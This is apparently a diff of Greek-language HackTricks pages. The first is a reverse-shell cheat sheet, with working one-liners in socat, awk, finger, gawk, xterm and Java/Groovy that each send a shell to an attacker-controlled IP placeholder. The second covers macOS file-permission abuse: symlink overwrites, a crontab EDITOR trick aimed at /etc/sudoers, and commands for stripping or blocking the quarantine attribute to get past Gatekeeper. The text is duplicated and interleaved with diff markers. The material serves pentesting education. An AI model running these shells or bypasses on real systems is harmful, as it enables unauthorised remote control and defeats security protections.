Η αντίστροφη κέλυφος είναι μια τεχνική που χρησιμοποιείται στον χώρο του χάκινγκ για να αποκτήσετε απομακρυσμένη πρόσβαση σε ένα σύστημα Linux. Με αυτήν την τεχνική, ο χάκερ δημιουργεί μια σύνδεση ανάμεσα στον επιτιθέμενο υπολογιστή και τον δικό του υπολογιστή, επιτρέποντάς του να εκτελέσει εντολές στον επιτιθέμενο υπολογιστή από απόσταση.
Για να δημιουργήσετε μια αντίστροφη κέλυφος, μπορείτε να χρησιμοποιήσετε διάφορα εργαλεία όπως το Netcat ή το Metasploit. Αυτά τα εργαλεία σας επιτρέπουν να δημιουργήσετε μια σύνδεση TCP μεταξύ του επιτιθέμενου υπολογιστή και του υπολογιστή σας, δίνοντάς σας πλήρη πρόσβαση και έλεγχο στο σύστημα.
Μια αντίστροφη κέλυφος είναι ιδιαίτερα χρήσιμη για την εξερεύνηση και την εκμετάλλευση ευπάθειών σε ένα σύστημα Linux, καθώς σας επιτρέπει να εκτελέσετε εντολές και να αποκτήσετε πρόσβαση σε αρχεία και διαμορφώσεις που απαιτούν επιπλέον δικαιώματα.
```bash ```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
``` ```
## Awk ## Awk
Το Awk είναι ένα ισχυρό εργαλείο για την επεξεργασία και την ανάλυση κειμένου στο Linux. Μπορεί να χρησιμοποιηθεί για να εκτελέσει διάφορες λειτουργίες, όπως την αναζήτηση και την αντικατάσταση κειμένου, την εξαγωγή δεδομένων από αρχεία και την υπολογιστική επεξεργασία.
Για να χρησιμοποιήσετε το Awk, μπορείτε να το καλέσετε από το τερματικό και να του περάσετε ένα αρχείο κειμένου ως είσοδο. Στη συνέχεια, μπορείτε να ορίσετε κανόνες και ενέργειες για να επεξεργαστείτε το κείμενο σύμφωνα με τις ανάγκες σας.
Οι βασικές εντολές του Awk είναι οι εξής:
- `print`: Εκτυπώνει το κείμενο ή τη μεταβλητή που του δίνεται ως όρισμα.
- `if`: Εκτελεί μια ενέργεια αν μια συνθήκη είναι αληθής.
- `else`: Εκτελεί μια ενέργεια αν μια συνθήκη δεν είναι αληθής.
- `for`: Επαναλαμβάνει μια ενέργεια για κάθε στοιχείο σε μια λίστα.
- `while`: Επαναλαμβάνει μια ενέργεια όσο μια συνθήκη είναι αληθής.
Με τη χρήση αυτών των εντολών, μπορείτε να δημιουργήσετε πολύπλοκους κανόνες για την επεξεργασία του κειμένου. Το Awk είναι ένα ισχυρό εργαλείο που μπορεί να σας βοηθήσει στην ανάλυση και την επεξεργασία κειμένου στο Linux.
```bash ```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
``` ```
Επιτιθέμενος ## Δάχτυλο
## Finger
**Επιτιθέμενος** **Επιτιθέμενος**
```bash ```bash
while true; do nc -l 79; done while true; do nc -l 79; done
``` ```
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσει το STDIN) Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσετε το STDIN)
**Θύμα** **Θύμα**
```bash ```bash
@ -425,13 +263,9 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
``` ```
## Gawk ## Gawk
Το Gawk είναι ένα ισχυρό εργαλείο για την επεξεργασία και ανάλυση κειμένου στο Linux. Χρησιμοποιείται συχνά για την εξόρυξη δεδομένων από αρχεία κειμένου και την εκτέλεση προηγμένων επεξεργασιών. Το Gawk υποστηρίζει πολλές λειτουργίες, όπως την αναζήτηση και αντικατάσταση προτύπων, την επεξεργασία πεδίων και την υπολογιστική επεξεργασία. ### Εισαγωγή
Για να χρησιμοποιήσετε το Gawk, μπορείτε να το εκτελέσετε από το τερματικό χρησιμοποιώντας την εντολή `gawk`. Μπορείτε να του περάσετε ένα αρχείο κειμένου ως είσοδο ή να του δώσετε εντολές απευθείας από το τερματικό. Το Gawk είναι μια ισχυρή γλώσσα προγραμματισμού για την επεξεργασία κειμένου και τη διαχείριση δεδομένων. Χρησιμοποιείται ευρέως στον κόσμο του Linux για την επεξεργασία και ανάλυση κειμένου αρχείων. Μπορεί να χρησιμοποιηθεί ως ένα ευέλικτο εργαλείο για τη δημιουργία σεναρίων επεξεργασίας δεδομένων.
Οι βασικές εντολές του Gawk περιλαμβάνουν την εκτύπωση γραμμών, την αναζήτηση και αντικατάσταση προτύπων, την επεξεργασία πεδίων και την εκτέλεση μαθηματικών πράξεων. Μπορείτε επίσης να χρησιμοποιήσετε τις μεταβλητές και τις συναρτήσεις του Gawk για πιο προηγμένες επεξεργασίες.
Το Gawk είναι ένα ισχυρό εργαλείο που μπορεί να σας βοηθήσει στην ανάλυση και επεξεργασία κειμένου στο Linux. Μάθετε τις βασικές εντολές και αρχίστε να το χρησιμοποιείτε για να αυξήσετε την αποτελεσματικότητά σας στον χειρισμό των αρχείων κειμένου.
```bash ```bash
#!/usr/bin/gawk -f #!/usr/bin/gawk -f
@ -460,7 +294,7 @@ close(Service)
```bash ```bash
xterm -display 10.0.0.1:1 xterm -display 10.0.0.1:1
``` ```
Για να πιάσετε το αντίστροφο κέλυφος μπορείτε να χρησιμοποιήσετε (το οποίο θα ακούει στη θύρα 6001): Για να πιάσετε το αντίστροφο κέλυφος μπορείτε να χρησιμοποιήσετε (που θα ακούει στη θύρα 6001):
```bash ```bash
# Authorize host # Authorize host
xhost +targetip xhost +targetip
@ -469,7 +303,7 @@ Xnest :1
``` ```
## Groovy ## Groovy
από [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Ο αντίστροφος κέλυφος της Java λειτουργεί επίσης για την Groovy από [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Το αντίστροφο κέλυφος Java λειτουργεί επίσης για το Groovy
```bash ```bash
String host="localhost"; String host="localhost";
int port=8044; int port=8044;
@ -477,29 +311,22 @@ String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
``` ```
## Αναφορές ## Αναφορές
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) * [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell) * [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/) * [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details> </details>
@ -18,37 +18,37 @@
Δικαιώματα σε ένα **κατάλογο**: Δικαιώματα σε ένα **κατάλογο**:
* **ανάγνωση** - μπορείτε να **απαριθμήσετε** τις καταχωρήσεις του καταλόγου * **ανάγνωση** - μπορείτε να **απαριθμήσετε** τα στοιχεία του καταλόγου
* **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον κατάλογο και μπορείτε να **διαγράψετε κενούς φακέλους**.&#x20; * **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον κατάλογο και μπορείτε να **διαγράψετε κενούς φακέλους**.
* Αλλά δεν μπορείτε να **διαγράψετε/τροποποιήσετε μη κενούς φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω τους. * Αλλά δεν μπορείτε να **διαγράψετε/τροποποιήσετε μη κενούς φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω σε αυτόν.
* Δεν μπορείτε να τροποποιήσετε το όνομα ενός φακέλου εκτός αν είστε ο ιδιοκτήτης του. * Δεν μπορείτε να τροποποιήσετε το όνομα ενός φακέλου εκτός αν είστε ο ιδιοκτήτης του.
* **εκτέλεση** - σας επιτρέπεται να διασχίσετε τον κατάλογο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν, ή σε οποιονδήποτε υποκατάλογο. * **εκτέλεση** - σας επιτρέπεται να διασχίσετε τον κατάλογο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν, ή σε οποιουσδήποτε υποκαταλόγους.
### Επικίνδυνοι Συνδυασμοί ### Επικίνδυνοι Συνδυασμοί
**Πώς να αντικαταστήσετε ένα αρχείο/φάκελο που ανήκει στον root**, αλλά: **Πώς να αντικαταστήσετε ένα αρχείο/φάκελο που ανήκει στο ριζικό χρήστη**, αλλά:
* Ένας γονικός **ιδιοκτήτης καταλόγου** στη διαδρομή είναι ο χρήστης * Ένας γονικός **ιδιοκτήτης καταλόγου** στη διαδρομή είναι ο χρήστης
* Ένας γονικός **ιδιοκτήτης καταλόγου** στη διαδρομή είναι μια **ομάδα χρηστών** με **δικαίωμα εγγραφής** * Ένας γονικός **ιδιοκτήτης καταλόγου** στη διαδρομή είναι μια **ομάδα χρηστών** με **πρόσβαση εγγραφής**
* Μια **ομάδα χρηστών** έχει **δικαίωμα εγγραφής** στο **αρχείο** * Μια **ομάδα χρηστών** έχει **πρόσβαση εγγραφής** στο **αρχείο**
Με οποιονδήποτε από τους προηγούμενους συνδυασμούς, ένας επιτιθέμενος μπορεί να **εισαγάγει** ένα **σύμβολο/σκληρό σύνδεσμο** στην αναμενόμενη διαδρομή για να αποκτήσει προνομιούχα αυθαίρετη εγγραφή. Με οποιονδήποτε από τους προηγούμενους συνδυασμούς, ένας επιτιθέμενος θα μπορούσε να **ενθερμήνει** ένα **σύμβολο/σκληρό σύνδεσμο** στην αναμενόμενη διαδρομή για να αποκτήσει προνομιούχα αυθαίρετη εγγραφή.
### Περίπτωση ειδικής πρόσβασης R+X στον κατάλογο root ### Ειδική περίπτωση ρίζας φακέλου R+X
Εάν υπάρχουν αρχεία σε έναν **κατάλογο** όπου **μόνο ο root έχει πρόσβαση R+X**, αυτά δεν είναι προσβάσιμα από κανέναν άλλο. Έτσι, μια ευπάθεια που επιτρέπει την **μετακίνηση ενός αρχείου που μπορεί να διαβαστεί από έναν χρήστη**, αλλά δεν μπορεί να διαβαστεί λόγω αυτού του **περιορισμού**, από αυτόν τον φάκελο **σε έναν διαφορετικό**, μπορεί να καταχραστείται για να διαβάσει αυτά τα αρχεία. Αν υπάρχουν αρχεία σε έναν **κατάλογο** όπου **μόνο η ρίζα έχει πρόσβαση R+X**, αυτά δεν είναι προσβάσιμα από κανέναν άλλο. Έτσι μια ευπάθεια που επιτρέπει τη **μετακίνηση ενός αρχείου που μπορεί να διαβαστεί από έναν χρήστη**, το οποίο δεν μπορεί να διαβαστεί λόγω αυτού του **περιορισμού**, από αυτόν τον φάκελο **σε έναν διαφορετικό**, θα μπορούσε να καταχραστείται για να διαβάσει αυτά τα αρχεία.
Παράδειγμα στο: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions) Παράδειγμα στο: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions)
## Συμβολικός Σύνδεσμος / Σκληρός Σύνδεσμος ## Συμβολικός Σύνδεσμος / Σκληρός Σύνδεσμος
Εάν ένα προνομιούχο διεργασία γράφει δεδομένα σε ένα **αρχείο** που μπορεί να **ελεγχθεί** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που μπορεί να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης μπορεί απλά να **τον κατευθύνει σε ένα άλλο αρχείο** μέσω ενός συμβολικού ή σκληρού συνδέσμου, και η προνομιούχα διεργασία θα γράψει σε αυτό το αρχείο. Αν ένα προνομιούχο διεργασία γράφει δεδομένα σε ένα **αρχείο** που θα μπορούσε να **ελεγχθεί** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να **έχει δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **το κατευθύνει σε ένα άλλο αρχείο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιούχα διεργασία θα γράψει σε αυτό το αρχείο.
Ελέγξτε τις άλλες ενότητες όπου ένας επιτιθέμενος μπορεί να **καταχραστεί μια αυθαίρετη εγγραφή για να αναβαθμίσει τα προνόμιά του**. Ελέγξτε στις άλλες ενότητες όπου ένας επιτιθέμενος θα μπορούσε να **καταχραστεί μια αυθαίρετη εγγραφή για την ανάδειξη προνομίων**.
## .fileloc ## .fileloc
Τα αρχεία με την επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά αρχεία, έτσι ώστε όταν αυτά ανοίγονται, η εφαρμογή/δυαδικό θα εκτελεστεί.\ Τα αρχεία με την επέκταση **`.fileloc`** μπορούν να κατευθύνουν σε άλλες εφαρμογές ή δυαδικά αρχεία, έτσι ώστε όταν ανοίγονται, η εφαρμογή/δυαδικό θα εκτελεστεί.\
Παράδειγμα: Παράδειγμα:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
@ -64,19 +64,19 @@
``` ```
## Αυθαίρετο FD ## Αυθαίρετο FD
Εάν μπορείτε να κάνετε ένα **διεργασία να ανοίξει ένα αρχείο ή ένα φάκελο με υψηλά προνόμια**, μπορείτε να καταχραστείτε το **`crontab`** για να ανοίξετε ένα αρχείο στο `/etc/sudoers.d` με το **`EDITOR=exploit.py`**, έτσι το `exploit.py` θα λάβει το FD για το αρχείο μέσα στο `/etc/sudoers` και θα το καταχραστεί. Εάν μπορείτε να κάνετε ένα **process να ανοίξει ένα αρχείο ή έναν φάκελο με υψηλά προνόμια**, μπορείτε να καταχραστείτε το **`crontab`** για να ανοίξετε ένα αρχείο στο `/etc/sudoers.d` με **`EDITOR=exploit.py`**, έτσι το `exploit.py` θα λάβει το FD στο αρχείο μέσα στο `/etc/sudoers` και θα το καταχραστεί.
Για παράδειγμα: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098) Για παράδειγμα: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
## Αποφυγή κόλπων xattrs της καραντίνας ## Αποφυγή κόλπων xattrs καραντίνας
### Αφαίρεση τους ### Αφαίρεση
```bash ```bash
xattr -d com.apple.quarantine /path/to/file_or_app xattr -d com.apple.quarantine /path/to/file_or_app
``` ```
### Σημαία uchg / uchange / uimmutable ### uchg / uchange / uimmutable flag
Αν ένα αρχείο/φάκελος έχει αυτήν την αμετάβλητη ιδιότητα, δεν θα είναι δυνατό να του εφαρμοστεί ένα xattr. Εάν ένα αρχείο/φάκελος έχει αυτήν τη μόνιμη ιδιότητα, δεν θα είναι δυνατή η τοποθέτηση ενός xattr σε αυτό.
```bash ```bash
echo asd > /tmp/asd echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd" chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
@ -86,9 +86,9 @@ xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd ls -lO /tmp/asd
# check the "uchg" in the output # check the "uchg" in the output
``` ```
### Σύνδεση defvfs ### Προσάρτηση defvfs
Μια σύνδεση **devfs** **δεν υποστηρίζει xattr**, περισσότερες πληροφορίες στο [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html) Μια προσάρτηση **devfs** **δεν υποστηρίζει xattr**, περισσότερες πληροφορίες στο [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
```bash ```bash
mkdir /tmp/mnt mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt" mount_devfs -o noowners none "/tmp/mnt"
@ -99,7 +99,7 @@ xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
``` ```
### writeextattr ACL ### writeextattr ACL
Αυτό το ACL αποτρέπει την προσθήκη `xattrs` στο αρχείο. Αυτό το ACL αποτρέπει την προσθήκη `xattrs` στο αρχείο
```bash ```bash
rm -rf /tmp/test* rm -rf /tmp/test*
echo test >/tmp/test echo test >/tmp/test
@ -122,13 +122,13 @@ ls -le /tmp/test
``` ```
### **com.apple.acl.text xattr + AppleDouble** ### **com.apple.acl.text xattr + AppleDouble**
Η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο μαζί με τις ACEs του. Η μορφή αρχείου **AppleDouble** αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του.
Στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η αναπαράσταση κειμένου του ACL που αποθηκεύεται μέσα στο xattr με το όνομα **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπιέσετε μια εφαρμογή σε ένα αρχείο zip με τη μορφή αρχείου **AppleDouble** με ένα ACL που εμποδίζει την εγγραφή άλλων xattrs σε αυτό... το xattr της καραντίνας δεν ορίζεται στην εφαρμογή: Στο [**πηγαίο κώδικα**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η αναπαράσταση κειμένου ACL που αποθηκεύεται μέσα στο xattr με το όνομα **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπιέσατε μια εφαρμογή σε ένα αρχείο zip με τη μορφή αρχείου **AppleDouble** με ένα ACL που εμποδίζει άλλα xattrs να γραφτούν σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή:
Ελέγξτε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες. Ελέγξτε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες.
Για να αναπαράγετε αυτό, πρέπει πρώτα να λάβετε το σωστό αλφαριθμητικό acl: Για να αναπαράγετε αυτό πρέπει πρώτα να λάβετε τη σωστή συμβολοσειρά acl:
```bash ```bash
# Everything will be happening here # Everything will be happening here
mkdir /tmp/temp_xattrs mkdir /tmp/temp_xattrs
@ -146,9 +146,9 @@ ditto -c -k del test.zip
ditto -x -k --rsrc test.zip . ditto -x -k --rsrc test.zip .
ls -le test ls -le test
``` ```
(Σημείωση ότι ακόμα κι αν αυτό λειτουργεί, το sandbox γράφει το quarantine xattr πρώτα) (Note ότι ακόμα κι αν αυτό λειτουργεί, το sandbox γράφει το quarantine xattr πριν)
Δεν είναι πραγματικά απαραίτητο, αλλά το αφήνω εκεί απλά για περίπτωση: Δεν είναι πραγματικά απαραίτητο αλλά το αφήνω εκεί απλά για περίπτωση:
{% content-ref url="macos-xattr-acls-extra-stuff.md" %} {% content-ref url="macos-xattr-acls-extra-stuff.md" %}
[macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md) [macos-xattr-acls-extra-stuff.md](macos-xattr-acls-extra-stuff.md)
@ -158,7 +158,7 @@ ls -le test
Τα Bundles περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε **αρχείου** στο **bundle**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να το αλλάξουμε. Τα Bundles περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε **αρχείου** στο **bundle**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να το αλλάξουμε.
Ωστόσο, υπάρχουν ορισμένα αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί, αυτά έχουν το κλειδί omit στο plist, όπως: Ωστόσο, υπάρχουν μερικά αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί, αυτά έχουν το κλειδί omit στο plist, όπως:
```xml ```xml
<dict> <dict>
... ...
@ -202,19 +202,15 @@ ls -le test
... ...
</dict> </dict>
``` ```
Είναι δυνατόν να υπολογιστεί η υπογραφή ενός πόρου από το command line με την ακόλουθη εντολή: Είναι δυνατόν να υπολογιστεί η υπογραφή ενός πόρου από το command line με:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64 openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
``` ```
{% endcode %}
## Τοποθέτηση dmgs ## Τοποθέτηση dmgs
